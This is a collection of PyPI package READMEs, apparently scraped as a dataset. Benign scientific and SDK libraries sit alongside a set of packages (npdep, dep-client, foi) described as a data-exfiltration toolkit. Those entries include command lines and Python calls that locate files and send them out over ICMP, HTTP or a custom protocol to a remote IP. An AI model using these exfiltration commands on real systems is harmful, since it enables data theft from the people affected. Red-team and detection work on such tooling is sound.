semvec/pypi-packages huggingface dataset:
nova-client-sdk 0.1.0
A Python client SDK for the Nova hackathon
Requires Python: >=3.6

# Nova SDK

Nova SDK is a client library for interacting with the NOVA hackathon hosted by ScottyLabs. It allows users to create messages containing text, images, and audio and process them for various outputs like text, images, or audio.

## Installation

```bash
pip install nova_client_sdk
```

## Basic Usage

```python
# import nova_sdk
from nova_sdk import NovaClient, Message, TextToSpeech

# Initialize the NovaClient with a team ID and server url
nova = NovaClient(team_id='your_team_id', server_url="[SERVER_URL]")

# Create a message with text and an image
message = Message(
    text="Describe this image.",
    images=['path/to/image.jpg']
)

# Process the message to get text output
response = nova.process_message(message, output_modality='text')
print(response)

# Use TextToSpeech
tts = TextToSpeech(nova, provider='hume')
audio_content = tts.synthesize("Hello, this is a test.")
with open('output_audio.wav', 'wb') as f:
    f.write(audio_content)
```
ataims 0.1.1
A package for parsing AIMS output files
Requires Python: >=3.10

# at-aims - Ad hoc parser for FHI-aims output files.

This parser is designed to be a simple way to extract data from the output files of FHI-aims.

## Installation
```pip install ataims```

## Usage
FHI-aims typically outputs a single file, `aims.out`.

To parse the file, use the `parse_outputfile` function:
```python
from ataims import parse_outputfile

output = parse_outputfile('aims.out')  # returns a single OutputData object
# or
output_list = parse_outputfile('aims.out', as_set=True)  # returns a list of parsed data
```

You can access the data in the output object:
```python
# Result summary
print(output.results)
{
    'cell_volume': 572.2999274955883,
    'estimated_homo_lumo_gap': 0.01002036,
    'fermi_energy': -5.04135398,
    'highest_occupied_state': -5.04446227,
    'lowest_unoccupied_state': -5.03444191,
    'total_energy': -3013017.92658861,
}

# Calculation summary
print(output.calculation_summary)
{
    'calculation_exited_regularly': 'Yes',
    'code_version': '240507',
    'commit_number': '7e80a0c21',
    'largest_tracked_array_allocation_mb': 42.804,
    'number_of_tasks': 36,
    'peak_memory_among_tasks_mb': 326.687,
    'total_time': 10285.059,
}

# Dump entire output object to json string
print(output.dump())
# same with nested objects
print(output.results.dump())

# or a dictionary
print(output.model_dump())
print(output_list[0].model_dump())  # with `as_set=True`
```

For an example of a full output file see [examples/example_output.json](examples/example_output.json)


## Testing
```pytest```

<br/>
<br/>
<hr/>
<br/>
Development of this parser was possible thanks to the support of
<br/>
<br/>
<a href="https://atomictessellator.com">
    <img width="400" src="docs/at_logo.png" alt="Atomic Tessellator">
</a>
<br/>
<hr/>
<br/>
This project was inspired by some other brilliant FHI-aims tools:

- [aimstools](https://github.com/romankempt/aimstools/)
- [Atomic Simulation Environment (ASE)](https://gitlab.com/ase/ase)
at-aims 0.1.0
A package for parsing AIMS output files
Requires Python: >=3.10

# at-aims - Ad hoc parser for FHI-aims output files.

This parser is designed to be a simple way to extract data from the output files of FHI-aims.

## Usage
FHI-aims typically outputs a single file, `aims.out`.

To parse the file, use the `parse_outputfile` function:
```python
from ataims import parse_outputfile

output = parse_outputfile('aims.out')  # returns a single OutputData object
# or
output_list = parse_outputfile('aims.out', as_set=True)  # returns a list of parsed data
```

You can access the data in the output object:
```python
# Result summary
print(output.results)
{
    'cell_volume': 572.2999274955883,
    'estimated_homo_lumo_gap': 0.01002036,
    'fermi_energy': -5.04135398,
    'highest_occupied_state': -5.04446227,
    'lowest_unoccupied_state': -5.03444191,
    'total_energy': -3013017.92658861,
}

# Calculation summary
print(output.calculation_summary)
{
    'calculation_exited_regularly': 'Yes',
    'code_version': '240507',
    'commit_number': '7e80a0c21',
    'largest_tracked_array_allocation_mb': 42.804,
    'number_of_tasks': 36,
    'peak_memory_among_tasks_mb': 326.687,
    'total_time': 10285.059,
}

# Dump entire output object to json string
print(output.dump())
# same with nested objects
print(output.results.dump())

# or a dictionary
print(output.model_dump())
print(output_list[0].model_dump())  # with `as_set=True`
```

For an example of a full output file see [examples/example_output.json](examples/example_output.json)

## Installation
```pip install -r requirements.txt```

## Development
```pip install -e .```

## Testing
```pytest```

<br/>
<br/>
<hr/>
<br/>
Development of this parser was possible thanks to the support of
<br/>
<br/>
<a href="https://atomictessellator.com">
    <img src="docs/at_logo.png" alt="Atomic Tessellator">
</a>
<br/>
<hr/>
<br/>
This project was inspired by some other brilliant FHI-aims tools:

- [aimstools](https://github.com/romankempt/aimstools/)
- [Atomic Simulation Environment (ASE)](https://gitlab.com/ase/ase)
npdep-server 0.1.0
Network Protocol Data Exfiltration Project Server - A modular approach for data exfiltration

# Description

Network Protocol Data Exfiltration Project Server - A modular approach for data exfiltration

# Installation

`pip install npdep_server`

# Usage

**From command line:**

`python -m npdep_server [-h] --config CONFIG [--logfile LOGFILE] [--purge PURGE]`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--config | -c | String | - | Path to Configuration File |
|--logfile | -l | String | . | Path to Log File |
|--purge | -u | String | - | The given path (all files/subfolders) will be wiped. npdep-server is not starting, if this options is given. |

# Configuration

```json
{
    "options":{
        "modulePath": "" // By providing a path, you can load modules not installed via pip
    },
    "modules": [
        {
            "name": "ExampleModule",   // Name of the module .py file located in ./src/receiver/module/*
            "options": {               // Custom options object for your specific module
                "port": 4567           // Example: Listen on port 4567
            }
        }
    ]
}
```

# Example

`python -m npdep_server -c config.json`

Given the previous configuration file `npdep_server` is going to start `ExampleModule` which is listening on port `4567`.
npdep-client 0.1.0
Network Protocol Data Exfiltration Project Client - A modular approach for data exfiltration

# Description

Network Protocol Data Exfiltration Project Client - A modular approach for data exfiltration

# Installation

`pip install npdep_client`

# Usage

**From command line:**

`python -m npdep_client [-h] --config CONFIG`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--config | -c | String | - | Path to Configuration File |

# Configuration

```json
{
    "options":{
       "modulePath": "path/to/modules" // By providing a path, you can load modules not installed via pip
    },
    "sourcing": {
        "module": {
            "name": "SourcingModule",   // Name of the module .py file
            "options": {                // Custom options object for your specific module
                "path": "path/to/files" // Example: This module searches for files under the given path
            }
        }
    },
    "transfer": {
        "module": {
            "name": "TransferModule",   // Name of the module .py file
            "options": {                // Custom options object for your specific module
                "ip": "10.10.10.10",    // Example: Send files to given ip on given port
                "port": 4567
            }
        }
    }
}
```


# Example

`python -m npdep_client -c config.json`

Given the previous configuration file `npdep_client` is going to start `SourcingModule` which searches for files under `path/to/files` and send it via `TransferModule` to `10.10.10.10` under port `4567`
npdep-icmp-client 1.0.0
A client to exfiltrate files through ICMP messages

# Description

A client to exfiltrate data through ICMP messages

# Installation

`pip install npdep_icmp_client`

# Usage

**From command line:**

`python -m npdep_icmp_client [-h] [--mode {payload,file}] --ip IP [--port PORT] --msg {echo_req,echo_rep} [--pkgSize PKGSIZE] [--filePath FILEPATH] [--payload PAYLOAD]`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--mode | -o | String | file | file = Sends file `--filePath` in `--pkSize` chunks per ICMP message <br> payload = Sends `payload` per ICMP message |
|--msg | -m | String | - | echo_req = Echo Request Message <br> echo_rep = Echo Reply Message |
|--ip | -i | String | - | IP address of destination |
|--port | -p | Int | 0 | Port of destination |
|--pkgSize | -k | Int | 1200 | Nr. of bytes to load from file under `--filePath` in chunks |
|--filePath | -e | String | - | Path to file which shall be send in mode: file |
|--payload | -a | String | - | Payload to be send in mode: payload |

**Programmatically:**

```py
from npdep_icmp_client.client.Client import Client as ICMPClient
from npdep_icmp_client.type.IcmpType import IcmpType as ICMPType

client = ICMPClient("10.10.10.10", 4567)
client.sendEchoMessage(ICMPType.ECHO_REQUEST, "information_for_exfiltration")
```


# Example

`python -m npdep_icmp_client -o payload -m echo_req -i 10.10.10.10 -a "information_for_exfiltration"`

Sends `information_for_exfiltration` to `10.10.10.10` as an ICMP `Echo` request.
npdep-http-client 1.0.0
A client to exfiltrate data through HTTP messages

# Description

A client to exfiltrate data through HTTP protocol

# Installation

`pip install npdep_http_client`

# Usage

**From command line:**

`python -m npdep_http_client [-h] [--mode {payload,file}] --ip IP --port PORT [--pkgSize PKGSIZE] [--path PATH] [--filePath FILEPATH] [--payload PAYLOAD]`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--mode | -m | String | file | file = Sends file  `--filePath` in `--pkSize` chunks per HTTP request <br> payload = Sends `payload` per HTTP request |
|--ip | -i | String | - | IP address of destination |
|--port | -p | Int | - | Port of destination |
|--pkgSize | -k | Int | 1200 | Nr. of bytes to load from file under `--filePath` in chunks |
|--path | -t | String | / | Path for HTTP request |
|--filePath | -e | String | - | Path to file which shall be send in mode: file |
|--payload | -a | String | - | Payload to be send in mode: payload |

**Programmatically:**

```python

from npdep_http_client.util.Util import Util
from npdep_http_client.type.RequestType import RequestType
from npdep_http_client.client.Client import Client

client = Client("10.10.10.10", 4567)

# Get request type
requestType = RequestType.VALUES["file"]

if(requestType == RequestType.FILE):
    Util.sendFileWithHttpRequest(client, 1200, "/", "path/to/file/data.txt")
elif(requestType == RequestType.PAYLOAD):
    client.sendHttpRequest(s=None, path="/", payload="information_for_exfiltration")
    

```
# Example

`python -m npdep_http_client -i 10.10.10.10 -p 4567 -m payload -a "information_for_exfiltration"`

Sends `information_for_exfiltration` to `10.10.10.10` on port `4567` as an HTTP request.
dep-reader 1.0.0
Read Data Exfiltration Protocol (DEP) Bytes

# Description

Read Data Exfiltration Protocol (DEP) Bytes

# Installation

`pip install dep_reader`

# Usage

**From command line:**

`python -m dep_reader [-h]`

This module does not have any direct functionality usable via command line.
It does provide Reader class for reading Data Exfiltration Protocol bytes.

**Programmatically:**

```python

from dep_reader.reader.Reader import Reader as DEPReader

# Where payload is a DEP formated bytes object
reader = DEPReader()
depMsg = reader.processSystemInformationMessage(payload)
```
dep-client 1.0.1
Data Exfiltration Protocol (DEP) Client - Transfer data with DEP

# Description

Data Exfiltration Protocol (DEP) Client - Transfer data with DEP

# Installation

`pip install dep_client`

# Usage

**From command line:**

`python -m dep_client --ip IP --port PORT [--pkgSize PKGSIZE] [--msg {sim,dim,dam,dcm}] --uuid UUID [--hash HASH] [--path PATH] [--size SIZE] [--dataState {0,1,2}]`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--ip | -i | String | - | IP address of destination |
|--port | -r | Int | - | Port of destination |
|--pkgSize | -k | Int | 1321 | Nr. of bytes to load in chunks. <= 1321 |
|--msg | -m | String | - | sim = SystemInformationMessage <br> dim = DataInformationMessage <br> dam = DataAcknowledgeMessage <br> dcm = DataContentMessage |
|--uuid | -u | String | - | uuid4 str, e.g.: 50f437d8-28b7-4c65-9588-eef116a60ae3 |
|--hash | -a | String | - | sha256 hash of data as hex string |
|--path | -p | String | - | (for files) path under which the data is located. (for in memory) path under which the data is saved at exfiltration endpoint |
|--size | -s | Int | - | size of data in bytes |
|--dataState | -d | Int | - | 0 = Data is not exfiltrated yet <br> 1 = Data is already exfiltrated <br> 2 = Data available under given path but hash differs |

# Example

`python -m dep_client -i 127.0.0.1 -r 6666 -m sim -u 50f437d8-28b7-4c65-9588-eef116a60ae3`

Sends `SystemInformationMessage` to `127.0.0.1` on port `6666` with uuid `50f437d8-28b7-4c65-9588-eef116a60ae3`
foi 1.0.0
files of interest (foi) - Identifies files based on their file type

# Description

files of interest (foi) - Identifies files based on their file type

# Installation

`pip install foi`

# Usage

**From command line:**

`python -m foi [-h] --path PATH [--files FILES]`

| Option | Short | Type | Default | Description |
|---|---|---|---|---|
|--path | -p | String | - | Path which shall be searched |
|--files | -f | String[] | [txt, pdf, png, jpg] | Comma separated list of file type to be searched for: pdf,jpg,txt |

**Programmatically:**

```python

from foi.search.Search import Search

s = Search(["md", "txt"]) # Provide the file types you are interested in
files = s.getFilePaths("path/to/dir")  # The path which shalle be searched for
                                       # the given file types

# Print findings
for file in files:
    print(file)
```


# Example

`python -m foi -p path/to/dir -f txt`

```
################################################################################

NPDEP - Network Protocol Data Exfiltration Project
foi - files of interest
Identifies files based on their file type

Current working directory: path/to/dir

Datetime: 10/10/1970 10:10:10

################################################################################

Files to be searched: ['txt']

Path: path/to/dir

Files found:
---
path/to/dir/example.txt
path/to/dir/test.txt

################################################################################

Execution Time: 0.005753 sec
```
cryptly 0.1.1
A Python library implementing common encryption and cipher techniques, providing easy-to-use functions for encryption and decryption.
Requires Python: >=3.0

# Cryptly

**Cryptly** is a Python library implementing common encryption and cipher techniques. It provides easy-to-use functions for both encryption and decryption.

## Installation

You can install **Cryptly** using pip:

```bash
pip install cryptly
```

## Features

- Implementations of various encryption algorithms.
- Simple API for encryption and decryption.
- Supports custom alphabets.

## Usage

Here’s a quick example of how to use Cryptly:

```python
import string
from cryptly import AffineCipher

cipher = AffineCipher(key_1=5, key_2=24, alphabet=string.ascii_lowercase)
encrypted = cipher.encrypt("hello")
print(encrypted)
```

## Contribute

Contributions are welcome! If you have suggestions for improvements or new features, please fork the repository and submit a pull request.

## License

This project is licensed under the MIT License - see the LICENSE file for details.